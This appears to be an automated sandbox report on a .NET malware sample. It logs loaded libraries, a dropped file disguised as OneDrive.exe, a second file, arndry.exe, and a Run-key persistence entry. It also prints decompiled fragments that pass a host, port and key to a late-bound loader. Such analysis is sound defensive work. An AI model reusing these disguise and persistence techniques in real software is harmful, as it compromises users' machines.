Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\OneDrive.exe	Section loaded: userenv.dll

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: b39wW3jYKO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: b39wW3jYKO.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: b39wW3jYKO.exe

Static file information: File size 1334272 > 1048576

Source: b39wW3jYKO.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x12c200

Source: b39wW3jYKO.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Xml.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdbRSDS source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: b39wW3jYKO.exe, 00000000.00000002.4646804706.000001419AFB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: b39wW3jYKO.exe, b39wW3jYKO.exe, 00000000.00000002.4646804706.000001419AFB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: mscorlib.pdb0 source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: protobuf-net.pdb source: OneDrive.exe, 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2590105516.0000012971900000.00000004.08000000.00040000.00000000.sdmp, OneDrive.exe, 00000008.00000002.2581561823.00000129695E2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Configuration.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.pdbH source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Xml.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: mscorlib.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Configuration.pdb8e source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Management.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: Microsoft.VisualBasic.pdbP4 source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: mscorlib.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdb source: WER31B8.tmp.dmp.12.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER31B8.tmp.dmp.12.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: arndry.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: arndry.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: b39wW3jYKO.exe, Client.cs	.Net Code: RunGetter System.AppDomain.Load(byte[])
Source: arndry.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: arndry.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: arndry.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 14.2.OneDrive.exe.19a3725ea98.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.OneDrive.exe.12971b90000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.OneDrive.exe.129692f22f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.OneDrive.exe.129691f1eb8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2657598951.0000019A3725E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2653178477.0000019A26E51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2577826782.00000129591E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2592825263.0000012971B90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive.exe PID: 3508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive.exe PID: 1472, type: MEMORYSTR

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD3466896B push edx; ret	0_2_00007FFD34668975
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34667D69 push esp; iretd	0_2_00007FFD34667D73
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34752870 pushfd ; iretd	0_2_00007FFD34752879
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347529A6 push ss; iretd	0_2_00007FFD347529A7
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347F2C81 push 8B48FFEDh; retf	0_2_00007FFD347F2C86
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347F9E11 push eax; ret	0_2_00007FFD347F9E41
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347FD189 push ecx; retf	0_2_00007FFD347FD1BC
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347F0AAA push esp; iretd	0_2_00007FFD347F0AAB
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E461CA pushad ; retn 5EDBh	0_2_00007FFD34E4622D
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E4CDC2 push eax; iretd	0_2_00007FFD34E4CDC3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E566B4 push DDEBE852h; iretd	0_2_00007FFD34E566D3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E46664 push E8FFFFFFh; ret	0_2_00007FFD34E46669
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5CF93 push ebp; iretd	0_2_00007FFD34E5CFC9
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5D125 push esp; iretd	0_2_00007FFD34E5D126
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F103 push edx; iretd	0_2_00007FFD34E5F1C3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F099 push edx; iretd	0_2_00007FFD34E5F1C3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F214 push edx; iretd	0_2_00007FFD34E5F223
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F1F2 push edx; iretd	0_2_00007FFD34E5F1F3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F1FA push edx; iretd	0_2_00007FFD34E5F1FB
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F1C4 push edx; iretd	0_2_00007FFD34E5F1CB
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E4A999 push eax; ret	0_2_00007FFD34E4A9B4
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5AB46 pushad ; ret	0_2_00007FFD34E5AB9D
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F324 push ecx; iretd	0_2_00007FFD34E5F32B
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F2F2 push ecx; iretd	0_2_00007FFD34E5F2F3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F2FA push ecx; iretd	0_2_00007FFD34E5F2FB
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F2FC push ecx; iretd	0_2_00007FFD34E5F323
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F2AC push ecx; iretd	0_2_00007FFD34E5F363
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F264 push edx; iretd	0_2_00007FFD34E5F26B
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F26C push edx; iretd	0_2_00007FFD34E5F273
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F3DC push 50CBE801h; iretd	0_2_00007FFD34E5F3F3
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5F374 push ecx; iretd	0_2_00007FFD34E5F37B

Source: b39wW3jYKO.exe	Static PE information: section name: .text entropy: 7.869676343007641
Source: OneDrive.exe.0.dr	Static PE information: section name: .text entropy: 7.869676343007641

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

File created: C:\Users\user\Documents\OneDrive.exe

Jump to dropped file

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File created: C:\Users\user\Documents\OneDrive.exe			Jump to dropped file
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	File created: C:\Users\user\AppData\Local\Temp\arndry.exe			Jump to dropped file

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive			Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\34EF0CD5860992665E72 5C34AEE5196E0F8615B8D1D9017DD710EA28D2B7AC99295D46046D12EEA58D78

Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
